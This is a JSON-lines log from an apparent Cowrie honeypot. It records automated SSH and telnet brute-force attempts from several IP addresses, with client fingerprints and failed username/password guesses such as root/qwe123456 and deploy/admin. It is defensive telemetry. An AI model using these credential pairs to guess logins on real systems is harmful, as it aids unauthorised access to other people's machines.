{"eventid":"cowrie.session.closed","duration":5.797737121582031,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:41.047970Z","src_ip":"38.54.119.93","session":"6b530208d968","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":36118,"dst_ip":"10.17.0.5","dst_port":22,"session":"851decad3df4","protocol":"ssh","message":"New connection: 176.65.132.254:36118 (10.17.0.5:22) [session: 851decad3df4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:41.541703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:41.546862Z","src_ip":"176.65.132.254","session":"851decad3df4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:41.641027Z","src_ip":"176.65.132.254","session":"851decad3df4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"admin","message":"login attempt [deploy/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:42.174242Z","src_ip":"176.65.132.254","session":"851decad3df4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:43.258947Z","src_ip":"176.65.132.254","session":"851decad3df4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.132717132568359,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:43.675538Z","src_ip":"38.54.119.93","session":"0fd1596bb70d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":53390,"dst_ip":"10.17.0.5","dst_port":22,"session":"e790fa3a9931","protocol":"ssh","message":"New connection: 176.65.132.254:53390 (10.17.0.5:22) [session: e790fa3a9931]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:45.980292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:45.987390Z","src_ip":"176.65.132.254","session":"e790fa3a9931","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:46.090224Z","src_ip":"176.65.132.254","session":"e790fa3a9931","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123456","message":"login attempt [root/qwe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:46.351375Z","src_ip":"176.65.132.254","session":"e790fa3a9931","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:47.443954Z","src_ip":"176.65.132.254","session":"e790fa3a9931","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.189.59","src_port":20108,"dst_ip":"159.203.135.109","dst_port":22,"session":"1bc8724bead2","protocol":"ssh","message":"New connection: 152.32.189.59:20108 (159.203.135.109:22) [session: 1bc8724bead2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:47.511879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:47.517672Z","src_ip":"152.32.189.59","session":"1bc8724bead2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:47.770041Z","src_ip":"152.32.189.59","session":"1bc8724bead2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passadmin123456","message":"login attempt [root/passadmin123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:48.683863Z","src_ip":"152.32.189.59","session":"1bc8724bead2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:49.907990Z","src_ip":"152.32.189.59","session":"1bc8724bead2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":53392,"dst_ip":"10.17.0.5","dst_port":22,"session":"b41ab6668cfd","protocol":"ssh","message":"New connection: 176.65.132.254:53392 (10.17.0.5:22) [session: b41ab6668cfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:50.388288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:50.396873Z","src_ip":"176.65.132.254","session":"b41ab6668cfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:50.478659Z","src_ip":"176.65.132.254","session":"b41ab6668cfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:50.745972Z","src_ip":"176.65.132.254","session":"b41ab6668cfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:51.841016Z","src_ip":"176.65.132.254","session":"b41ab6668cfd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":42738,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf32921f0772","protocol":"telnet","message":"New connection: 134.209.8.29:42738 (159.203.135.109:23) [session: bf32921f0772]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:53.308438Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":51004,"dst_ip":"10.17.0.5","dst_port":22,"session":"d56f6c2272d2","protocol":"ssh","message":"New connection: 176.65.132.254:51004 (10.17.0.5:22) [session: d56f6c2272d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:54.457407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:54.598692Z","src_ip":"176.65.132.254","session":"d56f6c2272d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:54.603151Z","src_ip":"176.65.132.254","session":"d56f6c2272d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar","message":"login attempt [oscar/oscar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:55.000893Z","src_ip":"176.65.132.254","session":"d56f6c2272d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:56.092663Z","src_ip":"176.65.132.254","session":"d56f6c2272d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":45716,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fb35e507c2f","protocol":"telnet","message":"New connection: 38.54.119.93:45716 (10.17.0.5:23) [session: 0fb35e507c2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:57.555902Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":51018,"dst_ip":"10.17.0.5","dst_port":22,"session":"0685892daecb","protocol":"ssh","message":"New connection: 176.65.132.254:51018 (10.17.0.5:22) [session: 0685892daecb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:58.785176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:58.791183Z","src_ip":"176.65.132.254","session":"0685892daecb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:58.873307Z","src_ip":"176.65.132.254","session":"0685892daecb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.034852266311646,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:59.052409Z","src_ip":"134.209.8.29","session":"8305d1b367f2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"rock","password":"rock","message":"login attempt [rock/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:59.145631Z","src_ip":"176.65.132.254","session":"0685892daecb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:00.246778Z","src_ip":"176.65.132.254","session":"0685892daecb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.109898805618286,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:01.665676Z","src_ip":"38.54.119.93","session":"0fb35e507c2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":58748,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1387185a4cc","protocol":"ssh","message":"New connection: 176.65.132.254:58748 (10.17.0.5:22) [session: c1387185a4cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:03.160676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:03.165547Z","src_ip":"176.65.132.254","session":"c1387185a4cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:03.256491Z","src_ip":"176.65.132.254","session":"c1387185a4cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sit","password":"sit123456","message":"login attempt [sit/sit123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:03.536772Z","src_ip":"176.65.132.254","session":"c1387185a4cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:04.686001Z","src_ip":"176.65.132.254","session":"c1387185a4cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":58754,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f90afdd19f3","protocol":"ssh","message":"New connection: 176.65.132.254:58754 (10.17.0.5:22) [session: 3f90afdd19f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:07.624450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:07.628982Z","src_ip":"176.65.132.254","session":"3f90afdd19f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:07.711207Z","src_ip":"176.65.132.254","session":"3f90afdd19f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"123456","message":"login attempt [nginx/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:07.960578Z","src_ip":"176.65.132.254","session":"3f90afdd19f3","protocol":"ssh"}
